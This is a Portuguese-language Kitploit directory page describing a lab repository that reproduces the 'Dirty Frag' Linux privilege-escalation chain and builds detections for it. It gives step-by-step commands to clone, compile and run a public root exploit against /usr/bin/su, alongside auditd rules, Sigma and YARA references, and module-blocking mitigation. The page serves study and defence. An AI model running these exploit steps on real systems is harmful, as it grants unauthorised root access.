Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Dirty-Frag-CVE-2026-43284 — Um relatório sobre Dirty Frag, que é uma cadeia de vulnerabilidades de Escalação de Privilégio Local (LPE) do Linux que permite que um usuário não privilegiado obtenha acesso root. | Kitploit
Ferramentas/GitHubGitHub/kuniyal08/dirty-frag-cve-2026-43284
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoAnálise ForenseDetecção de IntrusãoAprendizado e EducaçãoResposta a IncidentesLabs e Prática

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
GitHub
kuniyal08/dirty-frag-cve-2026-43284

Dirty-Frag-CVE-2026-43284

Um relatório sobre Dirty Frag, que é uma cadeia de vulnerabilidades de Escalação de Privilégio Local (LPE) do Linux que permite que um usuário não privilegiado obtenha acesso root.

Ver Repositório
1há 1 diaAinda não revisado

Dirty-Frag-CVE-2026-43284

Dirty Frag (CVE‑2026‑43284 & CVE‑2026‑43500) — Laboratório de Reprodução e Detecção de Exploit

Este repositório documenta a reprodução ponta a ponta, engenharia de detecção e resposta a incidentes para a cadeia de escalação de privilégio local (LPE) do kernel Linux Dirty Frag. Dirty Frag encadeia dois bugs de lógica determinísticos—CVE‑2026‑43284 (xfrm/ESP) e CVE‑2026‑43500 (RxRPC)—para permitir que um usuário local não privilegiado sobrescreva o cache de páginas de arquivos somente leitura (por exemplo, /usr/bin/su) e obtenha um shell root.

Principais Descobertas

  • ✅ Explorou com sucesso o Dirty Frag no Kali Linux 2026.1 (kernel 6.18.12+kali‑amd64)
  • ✅ Implantou regras de detecção no nível de chamadas de sistema do auditd
  • ✅ Criou regras Sigma e YARA para detecção multiplataforma
  • ✅ Desenvolveu um playbook completo de resposta a incidentes
  • ✅ Documentou cada etapa com capturas de tela para uso em portfólio

Por Que Isso Importa

Dirty Frag é um erro de lógica, não uma corrupção de memória. É determinístico, afeta virtualmente toda distribuição Linux lançada desde 2017, e é completamente sem arquivo—o monitoramento tradicional de integridade de arquivos (AIDE, Tripwire) não consegue vê-lo. O PoC público é um único arquivo C que encadeia ambos os caminhos ESP e RxRPC.

Ambiente de Laboratório

ComponenteDetalhes
HypervisorVirtualBox
VM Alvo

Passos de Reprodução

1. Verificar Versão do Kali e Kernel

O laboratório começa confirmando que o alvo está executando um kernel vulnerável.

root@kitploit:~
cat /etc/os-release | head -3
uname -r

📸 screenshots/pre_exploit_id.png — Detalhes da versão e kernel do Kali 2026.1. A saída de uname -r mostra o kernel vulnerável 6.18.12+kali‑amd64.

2. Verificar Módulos Vulneráveis

O exploit requer os módulos do kernel esp4, esp6 e rxrpc.

root@kitploit:~

lsmod | grep -E "esp4|esp6|rxrpc"
modinfo esp4 esp6 rxrpc 2>/dev/null | grep -E "^(name|depends)"

📸 screenshots/module_mitigation.png — lsmod e modinfo confirmam que os módulos vulneráveis estão disponíveis.

3. Versão do Python

A variante baseada em Python do PoC precisa de Python 3.10+. Verificamos o interpretador.

root@kitploit:~

python3 --version

Python 3.12 está instalado e pronto.

4. Verificador de Vulnerabilidade (Não Destrutivo)

Antes de executar o exploit completo, um script verificador seguro confirma se o sistema está vulnerável.

root@kitploit:~

python3 poc/check_vulnerable.py

O verificador relata "potencialmente vulnerável", abrindo caminho para a exploração.

5. Criar Usuário Não Privilegiado

Uma conta de usuário não privilegiado testuser simula um atacante sem direitos especiais.

root@kitploit:~

sudo useradd -m testuser
sudo passwd testuser
su - testuser
id

📸 id mostra UID 1001, confirmando acesso não root.

6. Clonar e Executar o Exploit

O PoC oficial do V4bel é clonado e compilado a partir da conta não privilegiada.

root@kitploit:~

git clone https://github.com/V4bel/dirtyfrag.git
cd dirtyfrag
gcc -O0 -Wall -o exp exp.c -lutil
./exp

📸 screenshots/exploit_execution.png — O exploit sobrescreve o cache de páginas de /usr/bin/su e detona o binário corrompido.

📸 screenshots/post_exploit_root.png — As saídas de whoami e id comprovam a escalação total para root.

7. Verificar Natureza Sem Arquivo (Nenhuma Modificação em Disco)

O exploit corrompe apenas o cache de páginas na memória. O /usr/bin/su em disco mantém seu checksum original.

root@kitploit:~

sha256sum /usr/bin/su

O sha256sum corresponde ao hash original do pacote mesmo após a exploração, confirmando que não houve modificação em disco.

8. Limpeza Pós-Exploit (Crítico!)

Após executar o exploit, o cache de páginas está contaminado. Sempre limpe-o:

root@kitploit:~

echo 3 | sudo tee /proc/sys/vm/drop_caches
# Ou reinicie o sistema

Engenharia de Detecção

Dirty Frag não pode ser detectado pelo monitoramento de integridade de arquivos. Em vez disso, focamos nas primitivas no nível de chamadas de sistema que ele utiliza.

Regras do auditd

Implantamos regras auditd personalizadas que acionam em:

  • criação de socket(AF_ALG) família 38 e socket(AF_RXRPC) família 21
  • uso da chamada de sistema splice()
  • criação de namespace unshare(CLONE_NEWUSER | CLONE_NEWNET)
  • acesso de leitura a binários setuid por processos não privilegiados
root@kitploit:~

# /etc/audit/rules.d/dirtyfrag.rules
-a always,exit -F arch=b64 -S socket -F a0=38 -F uid!=0 -k dirtyfrag_af_alg
-a always,exit -F arch=b64 -S socket -F a0=21 -F uid!=0 -k dirtyfrag_rxrpc
-a always,exit -F arch=b64 -S splice -F uid!=0 -k dirtyfrag_splice
-a always,exit -F arch=b64 -S unshare -F uid!=0 -k dirtyfrag_namespace
-w /usr/bin/su -p r -k dirtyfrag_suid_read

Todas as regras personalizadas estão ativas, verificadas com auditctl -l.

Após executar o exploit uma segunda vez, vemos alertas para as chamadas de sistema exatas usadas:

  • ausearch -k dirtyfrag_af_alg mostra um evento de criação de socket AF_ALG do processo testuser
  • ausearch -k dirtyfrag_splice mostra um evento splice() do mesmo PID, uma forte correlação
  • ausearch -k dirtyfrag_namespace mostra criação de namespace

Regra Sigma

Uma regra Sigma traduz os achados do auditd em um formato de SIEM neutro de fornecedor.

File: detection/sigma/dirty_frag_exploit.yml

Regra YARA

Uma regra YARA ajuda a identificar código do exploit Dirty Frag em disco e na memória.

File: detection/yara/dirty_frag_exploit.yar

Resumo da Cobertura de Detecção

Playbook de Resposta a Incidentes

Um relatório completo de resposta a incidentes está disponível em reports/incident-dirtyfrag.md. Ele inclui:

  • Resumo executivo — Exploração do Dirty Frag observada
  • Indicadores de comprometimento (IoCs) — Alertas do auditd para criação de socket AF_ALG/AF_RXRPC, chamadas splice(), eventos de namespace unshare e execução de binário SUID por processos não root
  • Mapeamento MITRE ATT&CK — T1068 (Exploração para Escalação de Privilégio), T1611 (Escape para o Host)
  • Etapas de contenção e erradicação — Bloqueio de módulos, limpeza de cache de páginas, atualização de kernel
  • Lições aprendidas sobre ataques sem arquivo e a importância da auditoria no nível de chamadas de sistema

Mitigação

Mitigação imediata (nenhuma reinicialização necessária):

root@kitploit:~

echo "install esp4 /bin/false" | sudo tee /etc/modprobe.d/dirtyfrag.conf
echo "install esp6 /bin/false" | sudo tee -a /etc/modprobe.d/dirtyfrag.conf
echo "install rxrpc /bin/false" | sudo tee -a /etc/modprobe.d/dirtyfrag.conf
sudo rmmod esp4 esp6 rxrpc 2>/dev/null

⚠️ Impacto: Desabilitar esses módulos quebra funcionalidades de VPNs IPsec e sistema de arquivos AFS.

Um script de mitigação pronto para uso está incluído em mitigation/dirtyfrag_mitigation.sh.

Correção permanente: Atualize seu kernel para uma versão corrigida.

Baixar ferramenta
Kali Linux 2026.1
Kernel6.18.12+kali‑amd64
Exploit PoCV4bel/dirtyfrag
Detecçãoauditd, Sigma, YARA
CamadaO que ObservaStatus
auditdChamadas socket AF_ALG/AF_RXRPC + splice + unshare✅ Implantado
SigmaPadrões de chamadas de sistema via SIEM✅ Regra pronta
YARACódigo PoC em disco / na memória✅ Regra pronta
FIM (AIDE/Tripwire)Alterações de arquivo❌ Cego – nenhuma escrita em disco ocorre